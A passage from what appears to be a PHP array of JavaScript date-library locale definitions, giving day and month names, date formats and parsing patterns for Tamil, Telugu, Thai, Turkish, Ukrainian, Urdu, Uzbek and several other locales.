GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ta-IN' => 'Date.CultureInfo={name:"ta-IN",englishName:"Tamil (India)",nativeName:"தமிழ் (இந்தியா)",dayNames:["ஞாயிறு","திங்கள்","செவ்வாய்","புதன்","வியாழன்","வெள்ளி","சனி"],abbreviatedDayNames:["ஞா","தி","செ","பு","வி","வெ","ச"],shortestDayNames:["ஞ","த","ச","ப","வ","வ","ச"],firstLetterDayNames:["ஞ","த","ச","ப","வ","வ","ச"],monthNames:["ஜனவரி","பெப்ரவரி","மார்ச்","ஏப்ரல்","மே","ஜூன்","ஜூலை","ஆகஸ்ட்","செப்டம்பர்","அக்டோபர்","நவம்பர்","டிசம்பர்"],abbreviatedMonthNames:["ஜன.","பெப்.","மார்.","ஏப்.","மே","ஜூன்","ஜூலை","ஆக.","செப்.","அக்.","நவ.","டிச."],amDesignator:"காலை",pmDesignator:"மாலை",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd-MM-yyyy",longDate:"dd MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dd MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^ஜன(.(வரி)?)?/i,feb:/^பெப்(.(ரவரி)?)?/i,mar:/^மார்(.(ச்)?)?/i,apr:/^ஏப்(.(ரல்)?)?/i,may:/^மே/i,jun:/^ஜூன்/i,jul:/^ஜூலை/i,aug:/^ஆக(.(ஸ்ட்)?)?/i,sep:/^செப்(.(டம்பர்)?)?/i,oct:/^அக்(.(டோபர்)?)?/i,nov:/^நவ(.(ம்பர்)?)?/i,dec:/^டிச(.(ம்பர்)?)?/i,sun:/^ஞ(ா(யிறு)?)?/i,mon:/^த(ி(ங்கள்)?)?/i,tue:/^ச(ெ(வ்வாய்)?)?/i,wed:/^ப(ு(தன்)?)?/i,thu:/^வ(ி(யாழன்)?)?/i,fri:/^வ(ெ(ள்ளி)?)?/i,sat:/^சனி/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'te-IN' => 'Date.CultureInfo={name:"te-IN",englishName:"Telugu (India)",nativeName:"తెలుగు (భారత దేశం)",dayNames:["ఆదివారం","సోమవారం","మంగళవారం","బుధవారం","గురువారం","శుక్రవారం","శనివారం"],abbreviatedDayNames:["ఆది.","సోమ.","మంగళ.","బుధ.","గురు.","శుక్ర.","శని."],shortestDayNames:["ఆ","స","మ","బ","గ","శ","శ"],firstLetterDayNames:["ఆ","స","మ","బ","గ","శ","శ"],monthNames:["జనవరి","ఫిబ్రవరి","మార్చి","ఏప్రిల్","మే","జూన్","జూలై","ఆగస్టు","సెప్టెంబర్","అక్టోబర్","నవంబర్","డిసెంబర్"],abbreviatedMonthNames:["జనవరి","ఫిబ్రవరి","మార్చి","ఏప్రిల్","మే","జూన్","జూలై","ఆగస్టు","సెప్టెంబర్","అక్టోబర్","నవంబర్","డిసెంబర్"],amDesignator:"పూర్వాహ్న",pmDesignator:"అపరాహ్న",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd-MM-yy",longDate:"dd MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dd MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^జనవరి/i,feb:/^ఫిబ్రవరి/i,mar:/^మార్చి/i,apr:/^ఏప్రిల్/i,may:/^మే/i,jun:/^జూన్/i,jul:/^జూలై/i,aug:/^ఆగస్టు/i,sep:/^సెప్టెంబర్/i,oct:/^అక్టోబర్/i,nov:/^నవంబర్/i,dec:/^డిసెంబర్/i,sun:/^ఆ(ది(.(వారం)?)?)?/i,mon:/^స(ోమ(.(వారం)?)?)?/i,tue:/^మ(ంగళ(.(వారం)?)?)?/i,wed:/^బ(ుధ(.(వారం)?)?)?/i,thu:/^గ(ురు(.(వారం)?)?)?/i,fri:/^శ(ుక్ర(.(వారం)?)?)?/i,sat:/^శ(ని(.(వారం)?)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'th-TH' => 'Date.CultureInfo={name:"th-TH",englishName:"Thai (Thailand)",nativeName:"ไทย (ไทย)",dayNames:["อาทิตย์","จันทร์","อังคาร","พุธ","พฤหัสบดี","ศุกร์","เสาร์"],abbreviatedDayNames:["อา.","จ.","อ.","พ.","พฤ.","ศ.","ส."],shortestDayNames:["อ","จ","อ","พ","พ","ศ","ส"],firstLetterDayNames:["อ","จ","อ","พ","พ","ศ","ส"],monthNames:["มกราคม","กุมภาพันธ์","มีนาคม","เมษายน","พฤษภาคม","มิถุนายน","กรกฎาคม","สิงหาคม","กันยายน","ตุลาคม","พฤศจิกายน","ธันวาคม"],abbreviatedMonthNames:["ม.ค.","ก.พ.","มี.ค.","เม.ย.","พ.ค.","มิ.ย.","ก.ค.","ส.ค.","ก.ย.","ต.ค.","พ.ย.","ธ.ค."],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:1,twoDigitYearMax:2572,dateElementOrder:"dmy",formatPatterns:{shortDate:"d/M/yyyy",longDate:"d MMMM yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^ม(.(กราค)?)?/i,feb:/^ก(.(ุมภาพันธ์)?)?/i,mar:/^มี(.(นาคม)?)?/i,apr:/^เม(.(ษายน)?)?/i,may:/^พ(.(ฤษภาคม)?)?/i,jun:/^มิ(.(ถุนายน)?)?/i,jul:/^ก(.(รฎาคม)?)?/i,aug:/^ส(.(ิงหาคม)?)?/i,sep:/^ก(.(ันยายน)?)?/i,oct:/^ต(.(ุลาคม)?)?/i,nov:/^พ(.(ฤศจิกายน)?)?/i,dec:/^ธ(.(ันวาคม)?)?/i,sun:/^อ(า(.(ทิตย์)?)?)?/i,mon:/^จ((.(ันทร์)?)?)?/i,tue:/^อ((.(ังคาร)?)?)?/i,wed:/^พ((.(ุธ)?)?)?/i,thu:/^พ(ฤ(.(หัสบดี)?)?)?/i,fri:/^ศ((.(ุกร์)?)?)?/i,sat:/^ส((.(สาร์)?)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'tn-ZA' => 'Date.CultureInfo={name:"tn-ZA",englishName:"Tswana (South Africa)",nativeName:"Setswana (Aforika Borwa)",dayNames:["Latshipi","Mosupologo","Labobedi","Laboraro","Labone","Labotlhano","Lamatlhatso"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["Ferikgong","Tlhakole","Mopitloe","Moranang","Motsheganong","Seetebosigo","Phukwi","Phatwe","Lwetse","Diphalane","Ngwanatsele","Sedimothole"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy/MM/dd",longDate:"dd MMMM yyyy",shortTime:"hh:mm:ss tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^ferikgong/i,feb:/^tlhakole/i,mar:/^mopitloe/i,apr:/^moranang/i,may:/^motsheganong/i,jun:/^seetebosigo/i,jul:/^phukwi/i,aug:/^phatwe/i,sep:/^lwetse/i,oct:/^diphalane/i,nov:/^ngwanatsele/i,dec:/^sedimothole/i,sun:/^latshipi/i,mon:/^mosupologo/i,tue:/^labobedi/i,wed:/^laboraro/i,thu:/^labone/i,fri:/^labotlhano/i,sat:/^lamatlhatso/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'tr-TR' => 'Date.CultureInfo={name:"tr-TR",englishName:"Turkish (Turkey)",nativeName:"Türkçe (Türkiye)",dayNames:["Pazar","Pazartesi","Salı","Çarşamba","Perşembe","Cuma","Cumartesi"],abbreviatedDayNames:["Paz","Pzt","Sal","Çar","Per","Cum","Cmt"],shortestDayNames:["Pz","Pt","Sa","Ça","Pe","Cu","Ct"],firstLetterDayNames:["P","P","S","Ç","P","C","C"],monthNames:["Ocak","Şubat","Mart","Nisan","Mayıs","Haziran","Temmuz","Ağustos","Eylül","Ekim","Kasım","Aralık"],abbreviatedMonthNames:["Oca","Şub","Mar","Nis","May","Haz","Tem","Ağu","Eyl","Eki","Kas","Ara"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"dd MMMM yyyy dddd",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dd MMMM yyyy dddd HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^oca(k)?/i,feb:/^şub(at)?/i,mar:/^mar(t)?/i,apr:/^nis(an)?/i,may:/^may(ıs)?/i,jun:/^haz(iran)?/i,jul:/^tem(muz)?/i,aug:/^ağu(stos)?/i,sep:/^eyl(ül)?/i,oct:/^eki(m)?/i,nov:/^kas(ım)?/i,dec:/^ara(lık)?/i,sun:/^pz(z(ar)?)?/i,mon:/^pt(t(artesi)?)?/i,tue:/^sa(l(ı)?)?/i,wed:/^ça(r(şamba)?)?/i,thu:/^pe(r(şembe)?)?/i,fri:/^cu(m(a)?)?/i,sat:/^ct(t(artesi)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'tt-RU' => 'Date.CultureInfo={name:"tt-RU",englishName:"Tatar (Russia)",nativeName:"Татар (Россия)",dayNames:["Якшәмбе","Дүшәмбе","Сишәмбе","Чәршәмбе","Пәнҗешәмбе","Җомга","Шимбә"],abbreviatedDayNames:["Якш","Дүш","Сиш","Чәрш","Пәнҗ","Җом","Шим"],shortestDayNames:["Якш","Дүш","Сиш","Чәрш","Пәнҗ","Җом","Шим"],firstLetterDayNames:["Я","Д","С","Ч","П","Җ","Ш"],monthNames:["Гыйнварь","Февраль","Март","Апрель","Май","Июнь","Июль","Август","Сентябрь","Октябрь","Ноябрь","Декабрь"],abbreviatedMonthNames:["Гыйнв","Фев","Мар","Апр","Май","Июн","Июл","Авг","Сен","Окт","Ноя","Дек"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"d MMMM yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^гыйнв(арь)?/i,feb:/^фев(раль)?/i,mar:/^мар(т)?/i,apr:/^апр(ель)?/i,may:/^май/i,jun:/^июн(ь)?/i,jul:/^июл(ь)?/i,aug:/^авг(уст)?/i,sep:/^сен(тябрь)?/i,oct:/^окт(ябрь)?/i,nov:/^ноя(брь)?/i,dec:/^дек(абрь)?/i,sun:/^якшәмбе/i,mon:/^дүшәмбе/i,tue:/^сишәмбе/i,wed:/^чәршәмбе/i,thu:/^пәнҗешәмбе/i,fri:/^җомга/i,sat:/^шимбә/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'uk-UA' => 'Date.CultureInfo={name:"uk-UA",englishName:"Ukrainian (Ukraine)",nativeName:"україньска (Україна)",dayNames:["неділя","понеділок","вівторок","середа","четвер","п\'ятниця","субота"],abbreviatedDayNames:["Нд","Пн","Вт","Ср","Чт","Пт","Сб"],shortestDayNames:["Нд","Пн","Вт","Ср","Чт","Пт","Сб"],firstLetterDayNames:["Н","П","В","С","Ч","П","С"],monthNames:["Січень","Лютий","Березень","Квітень","Травень","Червень","Липень","Серпень","Вересень","Жовтень","Листопад","Грудень"],abbreviatedMonthNames:["Січ","Лют","Бер","Кві","Тра","Чер","Лип","Сер","Вер","Жов","Лис","Гру"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"d MMMM yyyy\' р.\'",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d MMMM yyyy\' р.\' H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM yyyy\' р.\'"},regexPatterns:{jan:/^січ(ень)?/i,feb:/^лют(ий)?/i,mar:/^бер(езень)?/i,apr:/^кві(тень)?/i,may:/^тра(вень)?/i,jun:/^чер(вень)?/i,jul:/^лип(ень)?/i,aug:/^сер(пень)?/i,sep:/^вер(есень)?/i,oct:/^жов(тень)?/i,nov:/^лис(топад)?/i,dec:/^гру(день)?/i,sun:/^неділя/i,mon:/^понеділок/i,tue:/^вівторок/i,wed:/^середа/i,thu:/^четвер/i,fri:/^п\'ятниця/i,sat:/^субота/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ur-PK' => 'Date.CultureInfo={name:"ur-PK",englishName:"Urdu (Islamic Republic of Pakistan)",nativeName:"اُردو (پاکستان)",dayNames:["اتوار","پير","منگل","بدھ","جمعرات","جمعه","هفته"],abbreviatedDayNames:["اتوار","پير","منگل","بدھ","جمعرات","جمعه","هفته"],shortestDayNames:["ا","پ","م","ب","ج","ج","ه"],firstLetterDayNames:["ا","پ","م","ب","ج","ج","ه"],monthNames:["جنورى","فرورى","مارچ","اپريل","مئ","جون","جولاٸ","اگست","ستمبر","اکتوبر","نومبر","دسمبر"],abbreviatedMonthNames:["جنورى","فرورى","مارچ","اپريل","مئ","جون","جولاٸ","اگست","ستمبر","اکتوبر","نومبر","دسمبر"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM, yyyy",shortTime:"h:mm tt",longTime:"h:mm:ss tt",fullDateTime:"dd MMMM, yyyy h:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^جنورى/i,feb:/^فرورى/i,mar:/^مارچ/i,apr:/^اپريل/i,may:/^مئ/i,jun:/^جون/i,jul:/^جولاٸ/i,aug:/^اگست/i,sep:/^ستمبر/i,oct:/^اکتوبر/i,nov:/^نومبر/i,dec:/^دسمبر/i,sun:/^ا(1)?/i,mon:/^پ(1)?/i,tue:/^م(1)?/i,wed:/^ب(1)?/i,thu:/^ج(1)?/i,fri:/^ج(1)?/i,sat:/^ه(1)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'uz-Cyrl-UZ' => 'Date.CultureInfo={name:"uz-Cyrl-UZ",englishName:"Uzbek (Cyrillic, Uzbekistan)",nativeName:"Ўзбек (Ўзбекистон)",dayNames:["якшанба","душанба","сешанба","чоршанба","пайшанба","жума","шанба"],abbreviatedDayNames:["якш","дш","сш","чш","пш","ж","ш"],shortestDayNames:["якш","дш","сш","чш","пш","ж","ш"],firstLetterDayNames:["я","д","с","ч","п","ж","ш"],monthNames:["Январ","Феврал","Март","Апрел","Май","Июн","Июл","Август","Сентябр","Октябр","Ноябр","Декабр"],abbreviatedMonthNames:["Янв","Фев","Мар","Апр","Май","Июн","Июл","Авг","Сен","Окт","Ноя","Дек"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"yyyy \'йил\' d-MMMM",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"yyyy \'йил\' d-MMMM HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d-MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^янв(ар)?/i,feb:/^фев(рал)?/i,mar:/^мар(т)?/i,apr:/^апр(ел)?/i,may:/^май/i,jun:/^июн/i,jul:/^июл/i,aug:/^авг(уст)?/i,sep:/^сен(тябр)?/i,oct:/^окт(ябр)?/i,nov:/^ноя(бр)?/i,dec:/^дек(абр)?/i,sun:/^якшанба/i,mon:/^душанба/i,tue:/^сешанба/i,wed:/^чоршанба/i,thu:/^пайшанба/i,fri:/^жума/i,sat:/^шанба/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'uz-Latn-UZ' => 'Date.CultureInfo={name:"uz-Latn-UZ",englishName:"Uzbek (Latin, Uzbekistan)",nativeName:"U\'zbek (U\'zbekiston Respublikasi)",dayNames:["yakshanba","dushanba","seshanba","chorshanba","payshanba","juma","shanba"],abbreviatedDayNames:["yak.","dsh.","sesh.","chr.","psh.","jm.","sh."],shortestDayNames:["yak","dsh","sesh","chr","psh","jm","sh"],firstLetterDayNames:["y","d","s","c","p","j","s"],monthNames:["yanvar","fevral","mart","aprel","may","iyun","iyul","avgust","sentyabr","oktyabr","noyabr","dekabr"],abbreviatedMonthNames:["yanvar","fevral","mart","aprel","may","iyun","iyul","avgust","sentyabr","oktyabr","noyabr","dekabr"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM yyyy",longDate:"yyyy \'yil\' d-MMMM",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"yyyy \'yil\' d-MMMM HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d-MMMM",yearMonth:"MMMM 